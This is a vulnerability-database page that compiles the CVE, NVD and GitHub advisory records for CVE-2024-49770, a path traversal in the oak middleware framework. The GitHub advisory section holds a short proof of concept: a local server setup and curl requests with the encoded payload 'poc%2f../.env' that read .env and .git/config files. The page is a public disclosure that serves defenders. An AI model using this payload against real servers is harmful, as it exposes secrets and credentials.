Vulnerability-Lookup

CVE-2024-49770 (GCVE-0-2024-49770)

Vulnerability from cvelistv5 – Published: 2024-11-01 16:16 – Updated: 2024-11-01 17:35

Title

oak's path traversal allows transfer of hidden files within the served root directory

Summary

`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.

Severity

7.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-11-01 17:32 UTC

CWE

CWE-35 - Path Traversal: '.../...//'
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/oakserver/oak/security/advisor…	x_refsource_CONFIRM
https://github.com/oakserver/oak/commit/4b2f27efd…	x_refsource_MISC
https://github.com/oakserver/oak/blob/3896fe568b2…	x_refsource_MISC
https://github.com/oakserver/oak/blob/3896fe568b2…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version	CPE status
oakserver	oak	Affected: < 17.1.3	guessed
oakserver	oak	Affected: 0 , < 17.1.3 (custom) cpe:2.3:a:oakserver:oak::::::::

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              "name": "https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m"
            },
            {
              "name": "https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209"
            },
            {
              "name": "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125"
            },
            {
              "name": "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25"
            }
          ],
          "source": {
            "advisory": "GHSA-qm92-93fv-vh7m",
            "discovery": "UNKNOWN"
          },
          "title": "oak\u0027s path traversal allows transfer of hidden files within the served root directory"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2024-49770",
        "datePublished": "2024-11-01T16:16:29.482Z",
        "dateReserved": "2024-10-18T13:43:23.458Z",
        "dateUpdated": "2024-11-01T17:35:10.386Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2024-49770

Vulnerability from fkie_nvd - Published: 2024-11-01 17:15 - Updated: 2026-06-17 08:00

Severity

7.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125
	security-advisories@github.com	https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25
	security-advisories@github.com	https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209
	security-advisories@github.com	https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "oak",
          "vendor": "oakserver",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 17.1.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "cpes": [
            "cpe:2.3:a:oakserver:oak:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unknown",
          "product": "oak",
          "vendor": "oakserver",
          "versions": [
            {
              "lessThan": "17.1.3",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "`oak` is a middleware framework for Deno\u0027s native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue."
    },
    {
      "lang": "es",
      "value": " `oak` es un framework de middleware para el servidor HTTP nativo de Deno, Deno Deploy, Node.js 16.5 y posteriores, Cloudflare Workers y Bun. De forma predeterminada, `oak` no permite la transferencia de archivos ocultos con la API `Context.send`. Sin embargo, antes de la versi\u00f3n 17.1.3, esto se puede omitir codificando `/` como su forma codificada de URL `%2F`. Para un atacante, esto tiene el potencial de leer datos confidenciales del usuario o de obtener acceso a secretos del servidor. La versi\u00f3n 17.1.3 soluciona el problema."
    }
  ],
  "id": "CVE-2024-49770",
  "lastModified": "2026-06-17T08:00:25.007",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2024-49770",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2024-11-01T17:32:52.541978Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2024-11-01T17:15:17.710",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-35"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-QM92-93FV-VH7M

Vulnerability from github – Published: 2024-11-01 21:37 – Updated: 2024-11-01 21:37

Summary

Path traversal in oak allows transfer of hidden files within the served root directory

Details

Summary

By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by encoding / as its URL encoded form %2F.

Details

1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.

2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.

PoC

// server.ts

import { Application } from "jsr:@oak/oak@17.1.2";

const app = new Application();

app.use(async (context, next) => {
  try {
    await context.send({
      root: './root',
      hidden: false, // default
    });
  } catch {
    await next();
  }
});

await app.listen({ port: 8000 });

In terminal:

# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops >  root/.git/config

# start server
deno run -A server.ts

# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config

Impact

For an attacker this has potential to read sensitive user data or to gain access to server secrets.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oakserver/oak"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "14.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-49770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-35"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-01T21:37:10Z",
    "nvd_published_at": "2024-11-01T17:15:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nBy default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by\nencoding `/` as its URL encoded form `%2F`.\n\n### Details\n\n1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that\ncontains URL encoded characters unless the client URL encodes it first.\n\n2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.\n\n### PoC\n\n```ts\n// server.ts\n\nimport { Application } from \"jsr:@oak/oak@17.1.2\";\n\nconst app = new Application();\n\napp.use(async (context, next) =\u003e {\n  try {\n    await context.send({\n      root: \u0027./root\u0027,\n      hidden: false, // default\n    });\n  } catch {\n    await next();\n  }\n});\n\nawait app.listen({ port: 8000 });\n```\n\nIn terminal:\n\n```bash\n# setup root directory\nmkdir root/.git\necho SECRET_KEY=oops \u003e root/.env\necho oops \u003e  root/.git/config\n\n# start server\ndeno run -A server.ts\n\n# in another terminal\ncurl -D- http://127.0.0.1:8000/poc%2f../.env\ncurl -D- http://127.0.0.1:8000/poc%2f../.git/config\n```\n\n### Impact\n\nFor an attacker this has potential to read sensitive user data or to gain access to server secrets.\n",
  "id": "GHSA-qm92-93fv-vh7m",
  "modified": "2024-11-01T21:37:10Z",
  "published": "2024-11-01T21:37:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49770"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oakserver/oak"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Path traversal in oak allows transfer of hidden files within the served root directory"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2024-49770 (GCVE-0-2024-49770)

FKIE_CVE-2024-49770

GHSA-QM92-93FV-VH7M

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour